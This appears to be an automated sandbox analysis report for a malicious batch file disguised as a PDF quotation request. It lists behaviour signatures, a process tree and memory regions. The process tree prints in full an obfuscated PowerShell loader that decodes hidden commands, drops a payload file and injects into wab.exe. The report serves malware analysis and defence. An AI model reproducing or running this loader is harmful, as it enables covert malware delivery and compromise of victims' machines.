Analysis
- max time kernel
299s - max time network
199s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 03:30
General
- Target RFQ NTU SG855·pdf.bat
- Size 3KB
- Sample260731-d2fsxstand
- SHA256 c0187621b5f791c0706054050e7c45f0afe0706714c6f6942888d1025729bfe8
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 21 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ NTU SG855·pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "[void](Get-Process);Get-Service | Out-Null;$fernisseru=-48915+48915;[void](Get-Date);$connoi=11622-5622;function Zlim { 'plugh' };function skindpelse ($mandril,$egnsp) {$thimb=subgen(@(119,206,211,207,183,211,219,205,128,195,234,208,197,137,150,198,186,207,229,209,124)) ;Skyd ($thimb)}function Blerp { 'xyzzy' };function subgen ($haylo) { do {$lillib=$mandrildmiralsta[$fernisseru%4];$haylo[$fernisseru]-=$lillib;$connoi=$haylo[$fernisseru];$connoi=[char]$connoi;$phragmoid+=$connoi;$fernisseru++} while ($haylo[$fernisseru])$phragmoid}function Glarp { 'morf' };function Skyd ($plenumm) {.($blegend) $plenumm}function Zorgle { 'gloop' };Function Actioni ($haylo,$kontrolko=0){$reci=subgen(@(174,164,225,207,201,198,228,213,176,155,172,167,197,208,223,163,180,212,215,151,135,180,230,211,188,207,217,137,119,201,211,218,191,208,155));$staruttern=@(Skyd ($reci));For($udst=0; $staruttern[$udst] -ne $indf; $udst++){$staruttern[$udst] = skindpelse $staruttern[$udst] $mandrildmiralsta[$udst%4]}$dexykildet=subgen(@(128,203,225,202,193,129,205,196,187,194,228,188,176,190,150,212,199,194,228,214,199,213,215,211,193));$rensels=Skyd ($dexykildet);if ($kontrolko) { Skyd $rensels}else {;$rensels}}[void](Get-Location);$mandrildmiralsta=@(83,97,114,97);Get-Service | Out-Null;$blegend=subgen @(156,166,202);[void](Get-Process);$fotokop='\Dramaturgi.Sim';$vinke=Actioni 'Zk9CQXs2Gw83DgUScy8mQWJRXFFoQSUIPVdGWnMZRFVoQQAXaVBHU31RW0EUBBEKPE5AUWJRQlBjUFInOhMXBzwZXVBmU1xR';[void](Get-Date);$leuk=Actioni 'OxUGESBbXU43ExsXNk8VDjwGHgR9Ah0MfBQRXjYZAg4hFU8FPBYcDTwAFkc6BU9QPCMrAGQbNAcrBEIAIS8cGAs3JywnGDARBFUwJyQRCyA=';$egnspescribbl=Actioni 'HhIKDD9TXDI2EwQEITk/LRs1JjF9V1xR';Get-Location | Out-Null;$taelle=Actioni 'FCQm';$longshi=Actioni 'BhIXE34gFQQ9FQ==';$egnspedrow=Actioni 'bQ==';[void](Get-Process);Actioni 'dwYeDjEAHlsgDh4INwAACCcET0U2DwRbMhECBTIVE0p3Bx0VPAodEQ==' 1;Actioni 'dwYeDjEAHlslAAAEPRQfXHcNFxQ4TwERPwgGSXcEFQ8gERcFIQ4FSA==' 1;$leuk=$varenum[0];Get-Service | Out-Null;Actioni 'dwYeDjEAHls0AB4OIQQbXB0EBUwcAxgEMBVSTBAOH0F3BBUPIBEXEjATGwMxDQ==' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1;while (!$paras215) {[void](Get-Date);Actioni 'dwYeDjEAHlsSDxUNPAwTD2tRT0UnEwcE' 1;Actioni 'dwYTDTwTFwh9DgIEPUlWFTIEHg02TVJFPwQHCn9BVgcyDQEEeg==' 1;Actioni 'dwYTDTwTFwh9EhcVAQQDFDYSBik2ABYEIUlWDTwPFRI7CF5BdxcbDzgEWw==' 1;Get-Location | Out-Null;Actioni 'dwYTDTwTFwh9EhcPN0lb' 1;Actioni 'dwYeDjEAHlsgFQcFbkUVAD8OAAQ6TwEVMhUHEnNMFxBzU0JR' 1;if ($stud) {[void](Get-Process);Actioni 'CAMLFTY6Lzx3Bh4OMQAeWz4ABhM6DRMVNlxWBjINHRM2CFwTNhICDj0SFyM8BQs=' 1;Actioni 'IAJSRSAOHgg3AAAIJwRSRT4ABhM6DRMVNkFfJD0CHQU6DxVBERgGBA==' 1} Get-Service | Out-Null;Actioni 'AA0XBCNJRkg=' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1 ;Actioni 'dwYeDjEAHlsmBRkNOhFPRTQNHQMyDUgCPBMXDDxKWUR3FxMTNg8HDH0CHRQ9FQ==' 1;[void](Get-Date);$leuk=$varenum[$udklip]}$vete=167278;Get-Location | Out-Null;$grayh=14547;Actioni 'dwYeDjEAHls6Dx0JKlNCUm4GEUF3Eh0NOgUTEzoVFw==' 1;Actioni 'dwYeDjEAHlsBFAYEIQ9POhAOHBc2EwY8aVs0EzwMMAAgBERVABUACD0GWkU6Dx0JKlNCUno=' 1;[void](Get-Process);Actioni 'dwYeDjEAHlsxBB4AMQ5POgcEChV9JBwCPAUbDzQ8SFsSMjEoGk81BCcyBhM6DxVJdzMHFTYTHEg=' 1;Actioni 'dwYeDjEAHlskCBwKNgUWXHcDFw0yAx1PIBQQEicTGw80SVYXNhUXTXcGAAAqCVs=' 1;Skyd $winkedd;function Xyzzy { 'plugh' };;#BegrnseiexBorland Brudefrdsv Surgi ;"2⤵
- Badlisted process makes network request
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[void](Get-Process);Get-Service | Out-Null;$fernisseru=-48915+48915;[void](Get-Date);$connoi=11622-5622;function Zlim { 'plugh' };function skindpelse ($mandril,$egnsp) {$thimb=subgen(@(119,206,211,207,183,211,219,205,128,195,234,208,197,137,150,198,186,207,229,209,124)) ;Skyd ($thimb)}function Blerp { 'xyzzy' };function subgen ($haylo) { do {$lillib=$mandrildmiralsta[$fernisseru%4];$haylo[$fernisseru]-=$lillib;$connoi=$haylo[$fernisseru];$connoi=[char]$connoi;$phragmoid+=$connoi;$fernisseru++} while ($haylo[$fernisseru])$phragmoid}function Glarp { 'morf' };function Skyd ($plenumm) {.($blegend) $plenumm}function Zorgle { 'gloop' };Function Actioni ($haylo,$kontrolko=0){$reci=subgen(@(174,164,225,207,201,198,228,213,176,155,172,167,197,208,223,163,180,212,215,151,135,180,230,211,188,207,217,137,119,201,211,218,191,208,155));$staruttern=@(Skyd ($reci));For($udst=0; $staruttern[$udst] -ne $indf; $udst++){$staruttern[$udst] = skindpelse $staruttern[$udst] $mandrildmiralsta[$udst%4]}$dexykildet=subgen(@(128,203,225,202,193,129,205,196,187,194,228,188,176,190,150,212,199,194,228,214,199,213,215,211,193));$rensels=Skyd ($dexykildet);if ($kontrolko) { Skyd $rensels}else {;$rensels}}[void](Get-Location);$mandrildmiralsta=@(83,97,114,97);Get-Service | Out-Null;$blegend=subgen @(156,166,202);[void](Get-Process);$fotokop='\Dramaturgi.Sim';$vinke=Actioni 'Zk9CQXs2Gw83DgUScy8mQWJRXFFoQSUIPVdGWnMZRFVoQQAXaVBHU31RW0EUBBEKPE5AUWJRQlBjUFInOhMXBzwZXVBmU1xR';[void](Get-Date);$leuk=Actioni 'OxUGESBbXU43ExsXNk8VDjwGHgR9Ah0MfBQRXjYZAg4hFU8FPBYcDTwAFkc6BU9QPCMrAGQbNAcrBEIAIS8cGAs3JywnGDARBFUwJyQRCyA=';$egnspescribbl=Actioni 'HhIKDD9TXDI2EwQEITk/LRs1JjF9V1xR';Get-Location | Out-Null;$taelle=Actioni 'FCQm';$longshi=Actioni 'BhIXE34gFQQ9FQ==';$egnspedrow=Actioni 'bQ==';[void](Get-Process);Actioni 'dwYeDjEAHlsgDh4INwAACCcET0U2DwRbMhECBTIVE0p3Bx0VPAodEQ==' 1;Actioni 'dwYeDjEAHlslAAAEPRQfXHcNFxQ4TwERPwgGSXcEFQ8gERcFIQ4FSA==' 1;$leuk=$varenum[0];Get-Service | Out-Null;Actioni 'dwYeDjEAHls0AB4OIQQbXB0EBUwcAxgEMBVSTBAOH0F3BBUPIBEXEjATGwMxDQ==' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1;while (!$paras215) {[void](Get-Date);Actioni 'dwYeDjEAHlsSDxUNPAwTD2tRT0UnEwcE' 1;Actioni 'dwYTDTwTFwh9DgIEPUlWFTIEHg02TVJFPwQHCn9BVgcyDQEEeg==' 1;Actioni 'dwYTDTwTFwh9EhcVAQQDFDYSBik2ABYEIUlWDTwPFRI7CF5BdxcbDzgEWw==' 1;Get-Location | Out-Null;Actioni 'dwYTDTwTFwh9EhcPN0lb' 1;Actioni 'dwYeDjEAHlsgFQcFbkUVAD8OAAQ6TwEVMhUHEnNMFxBzU0JR' 1;if ($stud) {[void](Get-Process);Actioni 'CAMLFTY6Lzx3Bh4OMQAeWz4ABhM6DRMVNlxWBjINHRM2CFwTNhICDj0SFyM8BQs=' 1;Actioni 'IAJSRSAOHgg3AAAIJwRSRT4ABhM6DRMVNkFfJD0CHQU6DxVBERgGBA==' 1} Get-Service | Out-Null;Actioni 'AA0XBCNJRkg=' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1 ;Actioni 'dwYeDjEAHlsmBRkNOhFPRTQNHQMyDUgCPBMXDDxKWUR3FxMTNg8HDH0CHRQ9FQ==' 1;[void](Get-Date);$leuk=$varenum[$udklip]}$vete=167278;Get-Location | Out-Null;$grayh=14547;Actioni 'dwYeDjEAHls6Dx0JKlNCUm4GEUF3Eh0NOgUTEzoVFw==' 1;Actioni 'dwYeDjEAHlsBFAYEIQ9POhAOHBc2EwY8aVs0EzwMMAAgBERVABUACD0GWkU6Dx0JKlNCUno=' 1;[void](Get-Process);Actioni 'dwYeDjEAHlsxBB4AMQ5POgcEChV9JBwCPAUbDzQ8SFsSMjEoGk81BCcyBhM6DxVJdzMHFTYTHEg=' 1;Actioni 'dwYeDjEAHlskCBwKNgUWXHcDFw0yAx1PIBQQEicTGw80SVYXNhUXTXcGAAAqCVs=' 1;Skyd $winkedd;function Xyzzy { 'plugh' };;#BegrnseiexBorland Brudefrdsv Surgi ;"1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Dramaturgi.Sim
memory/1288-10-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-14-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-6-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-7-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-9-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-0-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp
memory/1288-11-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-12-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-5-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-13-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-15-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-16-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-17-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-21-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-4-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/1288-3-0x000002C6CA730000-0x000002C6CA752000-memory.dmp
memory/2052-27-0x0000000004D00000-0x0000000004D22000-memory.dmp
memory/2052-39-0x00000000070F0000-0x00000000076AA000-memory.dmp
memory/2052-26-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-24-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-29-0x0000000005490000-0x00000000054F6000-memory.dmp
memory/2052-28-0x0000000005420000-0x0000000005486000-memory.dmp
memory/2052-32-0x0000000005580000-0x00000000058DB000-memory.dmp
memory/2052-23-0x0000000004600000-0x0000000004636000-memory.dmp
memory/2052-34-0x00000000048F0000-0x000000000490E000-memory.dmp
memory/2052-35-0x0000000005BF0000-0x0000000005C3C000-memory.dmp
memory/2052-36-0x0000000006A90000-0x0000000006B26000-memory.dmp
memory/2052-37-0x0000000006010000-0x000000000602A000-memory.dmp
memory/2052-38-0x0000000006070000-0x0000000006092000-memory.dmp
memory/2052-25-0x0000000004DD0000-0x000000000541A000-memory.dmp
memory/2052-40-0x0000000007D30000-0x00000000083AC000-memory.dmp
memory/2052-22-0x0000000074A72000-0x0000000074A73000-memory.dmp
memory/2052-42-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-43-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-44-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-46-0x0000000074A72000-0x0000000074A73000-memory.dmp
memory/2052-45-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-47-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/2052-48-0x00000000083B0000-0x000000000C985000-memory.dmp
memory/2052-49-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/5852-50-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/5852-70-0x0000000000400000-0x00000000005F1000-memory.dmp